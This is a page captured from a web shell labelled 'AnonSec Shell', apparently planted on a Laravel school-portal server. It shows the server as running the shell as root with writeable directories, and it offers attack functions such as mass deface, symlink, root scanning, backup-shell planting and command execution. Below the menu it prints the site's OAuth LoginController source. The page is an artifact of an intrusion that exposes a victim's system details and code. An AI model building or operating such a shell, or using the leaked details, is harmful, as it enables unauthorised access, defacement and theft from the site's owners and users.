AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/app/app/Http/Controllers/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/app/app/Http/Controllers/Auth/LoginController.php
<?php

namespace App\Http\Controllers\Auth;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Str;

class LoginController extends Controller
{

    public function login(Request $request)
    {
        $state = Str::random(40);
        $request->session()->put('state', $state);

        $query = http_build_query([
            'client_id' => env('PASSPORT_CLIENT_ID'),
            'redirect_uri' => env('PASSPORT_CLIENT_CALLBACK'),
            'response_type' => "code",
            'scope' => "",
            'state' => $state,
        ]);

        return redirect(env('PASSPORT_SERVER_AUTHORIZE') . "?" . $query);
    }

    public function callback(Request $request)
    {
        $state = $request->session()->pull('state');

        throw_unless(strlen($state) > 0 && $state == $request->state, InvalidArgumentException::class);

        $response = Http::asForm()->post(env('PASSPORT_SERVER_TOKEN'), [
            'grant_type' => "authorization_code",
            'client_id' => env('PASSPORT_CLIENT_ID'),
            'client_secret' => env('PASSPORT_CLIENT_SECRET'),
            'redirect_uri' => env('PASSPORT_CLIENT_CALLBACK'),
            'code' => $request->code,
        ]);

        $request->session()->put($response->json());
        return redirect('/panel-administracion');
    }

    public function logout(Request $request)
    {
        $uri = env('APP_PLATFORM_AUTH') . '/logout';
        Session::remove('access_token');
        $request->session()->remove('state');
        // return redirect()->route('iniciar-sesion');
        return redirect()->away($uri);
    }

    public function showFormLogin()
    {
        $modules = [];
        return view('login')->with("modules", $modules);
    }

    public function showDirectory(Request $request)
    {
        $id = $request->id;
        return view('directory')->with("id", $id);
    }
    public function showIforc(Request $request)
    {
        $id = $request->id;
        return view('iforc')->with("id", $id);
    }
}

Anon7 - 2022
AnonSec Team